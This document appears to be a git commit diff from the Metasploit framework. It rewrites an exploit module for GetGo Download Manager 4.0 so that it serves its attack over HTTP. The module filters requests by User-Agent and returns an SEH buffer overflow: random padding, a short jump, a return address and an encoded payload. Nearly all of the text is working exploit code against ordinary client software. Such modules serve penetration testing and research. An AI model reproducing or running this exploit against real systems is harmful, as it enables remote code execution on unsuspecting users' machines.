Use HttpServer instead of TcpServer

bug/bundler_fix
Gabor Seljan 2015-01-15 10:39:17 +01:00
parent da0fce1ea8
commit ef0be946b1
1 changed files with 17 additions and 10 deletions

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
@ -59,21 +59,28 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0))
end
def on_client_connect(client)
def on_request_uri(cli, request)
sploit = "HTTP/1.1 200 "
sploit << rand_text_alpha(target['Offset'])
print_status("Client connected...")
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
print_error("Sending 404 for unknown user-agent")
send_not_found(cli)
return
end
sploit = rand_text_alpha(target['Offset'])
sploit << "\x90\x90\xEB\x06"
sploit << [target.ret].pack('V')
sploit << payload.encoded
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
client.put(sploit)
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
sleep(3)
handler(client)
service.close_client(client)
resp = create_response(200, sploit)
resp.body = ""
cli.send_response(resp)
close_client(cli)
end
end